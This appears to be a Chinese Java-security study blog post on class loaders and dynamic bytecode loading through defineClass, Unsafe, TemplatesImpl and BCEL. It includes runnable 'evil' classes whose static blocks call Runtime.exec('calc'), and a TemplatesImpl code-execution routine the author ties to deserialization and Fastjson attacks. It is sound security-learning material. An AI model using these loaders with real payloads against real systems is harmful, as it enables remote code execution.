Java Classloader类加载
2024-09-13 09:14:17 # javasec # basic

类加载器

类加载器ClassLoader是用来将一个class类加载到JVM虚拟机的,JVM在实例化一个对象的时候会在虚拟机寻找Class对象,然后将其实例化,而这个ClassLoader就是具体实现这个寻找Class对象的东西,可以简单理解为Class对象就是用ClassLoader加载和初始化的

java里面有四种常见的类加载器

  1. 虚拟机自带的加载器
  2. 启动类(根)加载器
  3. 扩展类加载器
  4. 应用程序加载器

引导类加载器(BootstrapClassLoader)

他是引导加载器,由C++编写,加载 包名为 java、javax、sun 等开头的类 ,属于JVM虚拟机的一部分,其代码存储在/jre/lib/rt.jar

扩展类加载器(ExtensionsClassLoader)

在sun.misc.Launcher$ExtClassLoader实现,加载/jre/lib/ext和java.ext.dirs的java拓展库

App类加载器(AppClassLoader)

系统类加载器,他加载Classpath环境变量里面的类,可以直接由ClassLoader.getSystemClassLoader()获得,我们一般编写的类都是使用的这个类加载器

双亲委派机制

简单来讲就是在类加载的时候是按照 BOOT —> EXC —-> APP 的顺序往下寻找类加载器的,比如说如果Boot类加载器找不到对应的Class文件则会交给下面的类加载器Extension加载,然后一次类推知道找到能够加载的类加载器,这样做到目的是为了安全考虑

如果我们自己编写了java自带的类,比如说java.lang.String,那岂不是乱套了,我们可以随意修改java自带库的内容,然后往里面塞点恶意代码,很显然这是不允许的,当我们创建了一个自定义的java.lang.String,JVM在加载这个类的时候首先会使用BootstrapLoader加载,发现这个加载器能加载,所以就直接把/jre/lib/rt.jar里面的String使用,而我们自定义的String类就不会加载进来

如果我们最开始就使用AppLoader去加载这个String类行不行呢,很明显是不行的,因为这个双亲委派机制在最开始的时候AppLoader加载会先交个上一级的类加载进行加载,上一级的再继续往上上级委派,最终委派到最高级发现BootLoader能够加载那他就直接在最高级那加载了,不会回到AppLoader,除非上面的加载器都加载不了才会交给AppLoader加载

各场景下代码块加载顺序

  • 静态代码块:static{}
  • 构造代码块:{}
  • 无参构造器:ClassName()
  • 有参构造器:ClassName(String name)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package ClassLoad;

public class load {
public static void main(String[] args) {
Role role = new Role();
}
}

class Role{
private String name;
static {
System.out.println("静态代码块执行");
}
{
System.out.println("构造代码块执行");
}

public Role() {
System.out.println("无参构造器执行");
}

public Role(String name) {
this.name = name;
System.out.println("有参构造器执行");
}
}

由该代码可以知道,先执行static,然后执行构造代码块,最后执行构造器函数

调用静态方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
vpackage ClassLoad;

public class load {
public static void main(String[] args) {
Role.staticFunc();
}
}

class Role{
private String name;
public static void staticFunc(){
System.out.println("静态方法");
}

static {
System.out.println("静态代码块执行");
}
{
System.out.println("构造代码块执行");
}

public Role() {
System.out.println("无参构造器执行");
}

public Role(String name) {
this.name = name;
System.out.println("有参构造器执行");
}
}

在调用静态方法时会先执行静态代码块

对类中的静态成员变量赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package ClassLoad;

public class load {
public static void main(String[] args) {
Role.name = "pysnow";
}
}

class Role{
public static String name;
static {
System.out.println("静态代码块执行");
}
{
System.out.println("构造代码块执行");
}

public Role() {
System.out.println("无参构造器执行");
}

public Role(String name) {
this.name = name;
System.out.println("有参构造器执行");
}
}

一样的对静态属性进行赋值的时候会先执行静态代码块

使用 class 获取类

这个在前面反射的时候讲过

执行xxx.class是不会进行类初始化,所以这里没有输出

forName 获取类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package ClassLoad;

public class load {
public static void main(String[] args) throws ClassNotFoundException {
Class roleclass = Class.forName("ClassLoad.Role");
System.out.println("------------------");
Class role2 = Class.forName("ClassLoad.Role",false,ClassLoader.getSystemClassLoader());

}
}

class Role{
public static String name;
static {
System.out.println("静态代码块执行");
}
{
System.out.println("构造代码块执行");
}

public Role() {
System.out.println("无参构造器执行");
}

public Role(String name) {
this.name = name;
System.out.println("有参构造器执行");
}
}

这个也是,Class.forName的第二个参数如果为true则等价于第一条代码,第二个参数是控制是否进行类初始化的,如果为true则调用static静态代码块

如果为false则就只执行了ClassLoader.loadClass,这个方法时不会进行类初始化的

他就相当于这样

动态加载字节码

字节码

字节码就是.class文件,java通过编译器将.java或者其他语言的源代码编译成统一的.class文件,然后JVM虚拟机加载这些class文件,这个class文件里面放着的就是java字节码

类加载原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package ClassLoad;

public class ClassLoad {
public static void main(String[] args) throws ClassNotFoundException {
ClassLoader loader = ClassLoader.getSystemClassLoader();
loader.loadClass("ClassLoad.student");
}
}

class student{
static {
System.out.println("student类初始化");
}
}

调试一下loadClass看下

首先进入一个参数的loadClass函数里面

然后添加一个false参数进入到loadClass(String var1, boolean var2)里面

前面是安全机制的代码,直到走到最后一步super.loadClass(var1, var2);

这里就是双亲委派的具体实现了,交给了上一级的CLassLoader进行加载

这里就是进入到ExtClassLoader的loadClass

这里parent因为是BootstrapLoader是java的native方法所以是null,所以直接使用findBootstrapClassOrNull来判断Boot能否加载,这里返回结果是null不能加载,所以继续往下运行findClass,使用ExtCLassLoader判断是否能加载

可以看到这里进入到了URLCLasloader的findClass,这是因为Ext的父类是URLCLassLoader

然后在里面执行defineClass

看下调用堆栈

1
2
3
4
5
6
7
8
9
10
defineClass:444, URLClassLoader (java.net)
access$100:73, URLClassLoader (java.net)
run:368, URLClassLoader$1 (java.net)
run:362, URLClassLoader$1 (java.net)
doPrivileged:-1, AccessController (java.security)
findClass:361, URLClassLoader (java.net)
loadClass:424, ClassLoader (java.lang)
loadClass:331, Launcher$AppClassLoader (sun.misc)
loadClass:357, ClassLoader (java.lang)
checkAndLoadMain:495, LauncherHelper (sun.launcher)

ClassLoader —-> SecureClassLoader —> URLClassLoader —-> APPClassLoader —-> loadClass() —-> findClass()

所以这里实际上是交给URLCLassLoader来加载的,他是APPClassLoader的父类,这就是 默认的 Java 类加载器的工作流程

正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:

①:URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找.class文件

②:URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件

③:URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类。

类加载流程

  • loadClass() 的作用是从已加载的类、父加载器位置寻找类(即双亲委派机制),在前面没有找到的情况下,调用当前ClassLoader的findClass()方法;
  • findClass() 根据URL指定的方式来加载类的字节码,其中会调用defineClass();
  • defineClass 的作用是处理前面传入的字节码,将其处理成真正的 Java 类

所以类加载的核心是defineClass,是他让一个class字节码文件的字节流加载成JVM虚拟机里面的Class对象

name为类名,b为字节码数组,off为偏移量,len为字节码数组的长度。

这个是一个保护的方法,我们通过反射看能不能加载类

evil.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package ClassLoad;

import java.io.IOException;

public class evil {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

define.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package ClassLoad;

import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class define {
public static void main(String[] args) throws Exception{
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\java_project\\JavaSecurityStudy\\target\\classes\\ClassLoad\\evil.class")); // 字节码的数组
Class c = (Class) method.invoke(classLoader, "ClassLoad.evil", code, 0, code.length);
c.newInstance();
}
}

我们平时利用的时候,由于他的作用域问题基本不会用到这个CLassLoader.defineClass

Unsafe 加载字节码

Unsafe类是一个java底层类,主要用于执行非常底层、不安全操作的方法,例如直接访问系统内存资源、自主管理内存资源等,这些方法在提升Java运行效率、增强Java语言底层资源调度能力方面起到了很大的作用。

就是因为他的特性导致我们这个在使用时有很多限制,在上面可以看到这个类的构造方法是private私有的,而且他的基本上都是native方法。再看一下他唯一对外能够调用的方法

getUnsafe,这个静态方法能够获取当前的UnSafe类的实例,但是会先判断当前的CLassLoader是否为空,而空类加载就是BootstrapCLassLoader,所以这个类只能被BootstrapCLassLoader类加载器调用,不能被用户使用的AppCLassLoader等调用

但是我们可以通过万能的反射来获取实例进行调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// 传入一个Class对象并创建该实例对象,但不会调用构造方法
public native Object allocateInstance(Class<?> cls) throws InstantiationException;

// 获取字段f在实例对象中的偏移量
public native long objectFieldOffset(Field f);

// 返回值就是f.getDeclaringClass()
public native Object staticFieldBase(Field f);
// 静态属性的偏移量,用于在对应的Class对象中读写静态属性
public native long staticFieldOffset(Field f);

// 获得给定对象偏移量上的int值,所谓的偏移量可以简单理解为指针指向该变量;的内存地址,
// 通过偏移量便可得到该对象的变量,进行各种操作
public native int getInt(Object o, long offset);
// 设置给定对象上偏移量的int值
public native void putInt(Object o, long offset, int x);

// 获得给定对象偏移量上的引用类型的值
public native Object getObject(Object o, long offset);
// 设置给定对象偏移量上的引用类型的值
public native void putObject(Object o, long offset, Object x););

// 设置给定对象的int值,使用volatile语义,即设置后立马更新到内存对其他线程可见
public native void putIntVolatile(Object o, long offset, int x);
// 获得给定对象的指定偏移量offset的int值,使用volatile语义,总能获取到最新的int值。
public native int getIntVolatile(Object o, long offset);

// 与putIntVolatile一样,但要求被操作字段必须有volatile修饰
public native void putOrderedInt(Object o, long offset, int x);
1
2
3
4
5
6
7
8
9
10
11
12
//静态属性的偏移量,用于在对应的Class对象中读写静态属性
public native long staticFieldOffset(Field f);
//获取一个静态字段的对象指针
public native Object staticFieldBase(Field f);
//判断是否需要初始化一个类,通常在获取一个类的静态属性的时候(因为一个类如果没初始化,它的静态属性也不会初始化)使用。 当且仅当ensureClassInitialized方法不生效时返回false
public native boolean shouldBeInitialized(Class<?> c);
//确保类被初始化
public native void ensureClassInitialized(Class<?> c);
//定义一个类,可用于动态创建类,此方法会跳过JVM的所有安全检查,默认情况下,ClassLoader(类加载器)和ProtectionDomain(保护域)实例来源于调用者
public native Class<?> defineClass(String name, byte[] b, int off, int len, ClassLoader loader, ProtectionDomain protectionDomain);
//定义一个匿名类,可用于动态创建类
public native Class<?> defineAnonymousClass(Class<?> hostClass, byte[] data, Object[] cpPatches);

这里我们可以使用defineClass动态加载字节码

这里成功加载类之后得newIntance创建实例才能调用计算机

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package ClassLoad;

import sun.misc.Unsafe;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.ProtectionDomain;

public class unsafe {
public static void main(String[] args) throws Exception {
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
byte[] code = Files.readAllBytes(Paths.get("D:\\java_project\\JavaSecurityStudy\\target\\classes\\ClassLoad\\evil.class"));
Method defineUnsafe = Unsafe.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
defineUnsafe.setAccessible(true);
Class exp = (Class) defineUnsafe.invoke(unsafe,"ClassLoad.evil",code,0,code.length,ClassLoader.getSystemClassLoader(),null);
exp.newInstance();

}
}

TemplatesImpl 加载字节码

这个是一个非常重要的加载字节码的方式,在后面反序列化以及Fastjson经常会用到

我们可以看到这个TemplateImpl继承了Templates接口,还有一个内部类TransletClassLoader,这个类继承的CLassLoader,并且重写了defineClass方法,且作用域是default,可以被外部调用

接着可以看到在TemplatesImpl#defineTransletClasses()里面调用了该defineClass方法

接着我们继续网上面找看谁调用了defineTransletClasses

最终可以在TemplatesImpl#getTransletInstance()找到调用,需要_class属性为空

继续往上找发现是TemplatesImpl#newTransformer(),他这个很明显就是构造函数的封装

最后找到TemplatesImpl#getOutputProperties()用于获取TemplateImpl实例,也是Templates接口里面的方法

最终写出调用顺序

1
2
3
4
5
TemplatesImpl#getOutputProperties() -> 
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()

我们可以看到只有最前面两个方法是可以直接调用的,getOutputProperties和newTransformer,他们的作用域都是public,可以被外部调用,接着我们使用TemplatesImpl#newTransformer()简单得加载一下恶意字节码

讲解一些各个属性怎么赋值的

首先defineClass传入的参数作为做节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

接着是defineTransletClasses方法,这里有三个注意点,第一_bytecodes属性不为空,第二调用_tfactory的getExternalExtensionsMap()方法不报错,所以需要让_tfactory这个参数为TransformerFactoryImpl,这里我们可以Ctrl跟进这个方法就知道了

第三就是判断这个生成的Class对象的父类是否是

也就说说这个bytes字节码加载进来必须继承AbstractTranslet对象

再到getTransletInstance方法里面限制了_name参数不为空,_class参数为空

后面还对define加载的Class对象进行实例化,所以我们只需要将恶意代码给塞到静态代码块里就能够RCE

首先编写字节码文件的源代码,然后编译出来,这里定义的类必须继承AbstractTranslet,因为在defineTransletClasses方法那有检查父类是否为AbstractTranslet的操作,如果不是则就报错了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package ClassLoad;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TemplateCode extends AbstractTranslet {

static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

可以看到这就是不继承的结果

运行到这一步就抛出错误了

最后是整体的通过newInstance方法RCE的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package ClassLoad;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class templateimpl {
public static void main(String[] args) throws Exception {
TemplatesImpl template = new TemplatesImpl();
byte[] codes = Files.readAllBytes(Paths.get("D:\\java_project\\JavaSecurityStudy\\target\\classes\\ClassLoad\\TemplateCode.class"));
setField(template,"_name","pysnow");
setField(template,"_bytecodes",new byte[][] {codes});
setField(template,"_tfactory",new TransformerFactoryImpl());
template.newTransformer();
}
public static void setField(Object object,String name,Object value) throws Exception {
Field field= object.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(object,value);
}
}

成功弹出计算器

利用 BCEL ClassLoader 加载字节码

com.sun.org.apache.bcel.internal.util.ClassLoader

BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。

介绍

Apache Commons BCEL,是Apache Commons项目下的一个子项目 ,与ComomonCollections不同的是BCEL这个库是jdk原生自带的库,把BCEL库放在JDK里面主要是为了支撑JAXP, JAXP实现使用了Apache Xerces和Apache Xalan,Apache Xalan又依赖了BCEL

其中 Apache Xalan 负责了 XSLT ,他是对用于处理XMl的一种拓展

XSLT(扩展样式表转换语言)是一种为可扩展置标语言提供表达形式而设计的计算机语言,主要用于将XML转换成其他格式的数据。既然是一门动态“语言”,在Java中必然会先被编译成class,才能够执行。

也就是说XSLT是将XML编译成java字节码,编译出来的class文件被称为 translet,可用于后面xml文件的转换,将xslt编译成java代码主要是为了优化执行速度。

编译出来的java代码例子如下

可以看到的继承了 AbstractTranslet ,这个在前面TemplatesImpl加载字节码用到过,这个类是加载TemplatesImpl字节码必须要的父类,而 TemplatesImpl是对JAXP标准中javax.xml.transform.Templates接口的实现 。

所以说XSL文件编译成字节码本质就是动态加载字节码,将xsl文件加载成class对象, 所以Apache Xalan是依赖BCEL的。

使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package ClassLoad;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;

public class BCEL {
public static void main(String[] args) throws Exception {
Class evil = Class.forName("ClassLoad.evil");
JavaClass bcel = Repository.lookupClass(evil);
String encoded = Utility.encode(bcel.getBytes(),true);
System.out.println(encoded);
}
}

主要使用到了两个类,Repository 和 Utility

  • Repository 用于将一个Java Class 先转换成原生字节码
  • Utility 用于将原生的字节码转换成BCEL格式的字节码

接着我们使用BCEL的CLassLoader来加载他,然后将加载进来的Class对象进行实例化,可以看到实例化后弹出了计算器

这里要注意的点是加载是需要将生成的BCEL字节码前面加上**$$BCEL$$**

这里为什么需要加上这样一个前缀呢,我们可以调试一下看看

进入loadClass方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
Class cl = null;

/* First try: lookup hash table.
*/
if((cl=(Class)classes.get(class_name)) == null) {
/* Second try: Load system class using system class loader. You better
* don't mess around with them.
*/
for(int i=0; i < ignored_packages.length; i++) {
if(class_name.startsWith(ignored_packages[i])) {
cl = deferTo.loadClass(class_name);
break;
}
}

if(cl == null) {
JavaClass clazz = null;

/* Third try: Special request?
*/
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);
else { // Fourth try: Load classes via repository
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}
else
throw new ClassNotFoundException(class_name);
}

if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);
} else // Fourth try: Use default class loader
cl = Class.forName(class_name);
}

if(resolve)
resolveClass(cl);
}

classes.put(class_name, cl);

return cl;
}

最开始判断开头是否为java.等等,如果是则使用原生的CLassLoader进去加载

接着又判断开头是否为$$BCEL$$,如果是则进入createClass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
protected JavaClass createClass(String class_name) {
int index = class_name.indexOf("$$BCEL$$");
String real_name = class_name.substring(index + 8);

JavaClass clazz = null;
try {
byte[] bytes = Utility.decode(real_name, true);
ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");

clazz = parser.parse();
} catch(Throwable e) {
e.printStackTrace();
return null;
}

// Adapt the class name to the passed value
ConstantPool cp = clazz.getConstantPool();

ConstantClass cl = (ConstantClass)cp.getConstant(clazz.getClassNameIndex(),
Constants.CONSTANT_Class);
ConstantUtf8 name = (ConstantUtf8)cp.getConstant(cl.getNameIndex(),
Constants.CONSTANT_Utf8);
name.setBytes(class_name.replace('.', '/'));

return clazz;
}

在createClass里面获取真实的bcel字节码,也就是去掉前面的$$BCEL$$前缀,生成时完整的字节码

然后将解密的class返回

最后将解密出来的字节码使用defineClass进行加载

最后 在8u251及之后的JDK版本中,BCEL ClassLoader com.sun.org.apache.bcel.internal.util.ClassLoader 这个类被移除了